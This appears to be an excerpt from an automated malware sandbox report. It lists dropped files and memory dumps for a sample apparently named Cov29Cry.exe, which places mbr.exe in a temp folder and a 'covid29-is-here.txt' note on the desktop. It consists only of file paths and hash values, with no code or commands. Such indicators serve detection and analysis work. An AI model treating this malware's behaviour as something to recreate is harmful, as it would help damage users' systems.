memory/3624-1624-0x0000000000570000-0x0000000000571000-memory.dmp

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\doomed\13387

MD5 800e43780f92dd63f220dce61d070d03
SHA1 15f6b5eea195bd95ad0535c11695a9ce55665777
SHA256 8b8b186bf1804ca1e886ddddef3b08e5d6246af67423cb1b14d7fc800eb4d1e3
SHA512 865de04cbbf081c423ff1c74cab0010fdf1c3cfa6c772450330fe7cf140d9580c55da05539081e21a1490293e37cd683b353a1d19f10ae7b090026c552d92ec3

memory/1420-1637-0x00000000020D0000-0x00000000020D1000-memory.dmp

memory/808-1641-0x00000000020D0000-0x00000000020D1000-memory.dmp

memory/1188-1644-0x0000000001FD0000-0x0000000001FD1000-memory.dmp

memory/4392-1647-0x00000000021D0000-0x00000000021D1000-memory.dmp

memory/1420-1649-0x00000000020D0000-0x00000000020D1000-memory.dmp

memory/432-1652-0x00000000020E0000-0x00000000020E1000-memory.dmp

memory/808-1654-0x00000000020D0000-0x00000000020D1000-memory.dmp

memory/4976-1658-0x0000000000640000-0x0000000000641000-memory.dmp

memory/1188-1659-0x0000000001FD0000-0x0000000001FD1000-memory.dmp

memory/3896-1664-0x0000000000630000-0x0000000000631000-memory.dmp

memory/5320-1675-0x00000000020E0000-0x00000000020E1000-memory.dmp

memory/432-1676-0x00000000020E0000-0x00000000020E1000-memory.dmp

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\sessionstore.jsonlz4

MD5 31fc7fbdfefbc4f7fd80d4347c14c418
SHA1 8a512810b90162c66d63f77be07b586fdfb583e9
SHA256 8d46686a6e24b201bdf08d62ceda29257493e1ca88f4985a1eed4bd98b7b3811
SHA512 809cf87bf56aeb9a03f38a4e30bcc4dd65beadd277690e6bc680a222dd8e50479dd0eea6ff01f7c6d6fd265d9669e8d3c6da22a9be7ae003f3d42d4354b19568

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\prefs-1.js

MD5 548dcc25ba6b4b366ae2318964e1579b
SHA1 2ff9e3bdcd867c811fa82ea30ce7ccafc7ce13f8
SHA256 b5e5f401b7739f365d48e26b4d02c62e7e56f31f58441501366d487693906453
SHA512 92ebfef9343f1bc624b0478ac97aa65c5766d33aafab3b56ece3d9c9f7dfa33b4f69a97e2b887773e43e5d7f79051f8c0dae64862d2321235c5c786aead1396e

memory/516-1772-0x0000000000610000-0x0000000000611000-memory.dmp

memory/4976-1773-0x0000000000640000-0x0000000000641000-memory.dmp

memory/3040-1782-0x0000000000600000-0x0000000000601000-memory.dmp

memory/3896-1783-0x0000000000630000-0x0000000000631000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1E8D.tmp\mbr.exe

MD5 35af6068d91ba1cc6ce21b461f242f94
SHA1 cb054789ff03aa1617a6f5741ad53e4598184ffa
SHA256 9ac99df89c676a55b48de00384506f4c232c75956b1e465f7fe437266002655e
SHA512 136e3066c6e44af30691bcd76d9af304af0edf69f350211cf74d6713c4c952817a551757194b71c3b49ac3f87a6f0aa88fb80eb1e770d0f0dd82b29bfce80169

C:\Users\Admin\AppData\Local\Temp\1E8D.tmp\Cov29Cry.exe

MD5 8bcd083e16af6c15e14520d5a0bd7e6a
SHA1 c4d2f35d1fdb295db887f31bbc9237ac9263d782
SHA256 b4f78ff66dc3f5f8ddd694166e6b596d533830792f9b5f1634d3f5f17d6a884a
SHA512 35999577be0626b50eeab65b493d48af2ab42b699f7241d2780647bf7d72069216d99f5f708337a109e79b9c9229613b8341f44c6d96245fd1f3ac9f05814d6a

C:\Users\Admin\Desktop\covid29-is-here.txt

MD5 c53dee51c26d1d759667c25918d3ed10
SHA1 da194c2de15b232811ba9d43a46194d9729507f0
SHA256 dd5b3d185ae1809407e7822de4fced945115b48cc33b2950a8da9ebd77a68c52
SHA512 da41cef03f1b5f21a1fca2cfbf1b2b180c261a75d391be3a1ba36e8d4d4aefab8db024391bbee06b99de0cb0b8eb8c89f2a304c27e20c0af171b77db33b2d12c

C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133548865096467941.txt

MD5 6a69acc2a34dd47b3a05396594d2f2f6
SHA1 d5e110101a48b94311cecd8a29d0e1722a566325
SHA256 a28b01a89658704dd1c7af071ee6ea3b6a9209389d4b3cd3f1171628d2c555cf
SHA512 433608f5465fcc46eb35b7285988b093a5411cb5e7b9077dc7f60e131413b808982e2acb3e4d18bbca6be5b9f0c8a76ceb49a8132885a085d7952830b728a8fc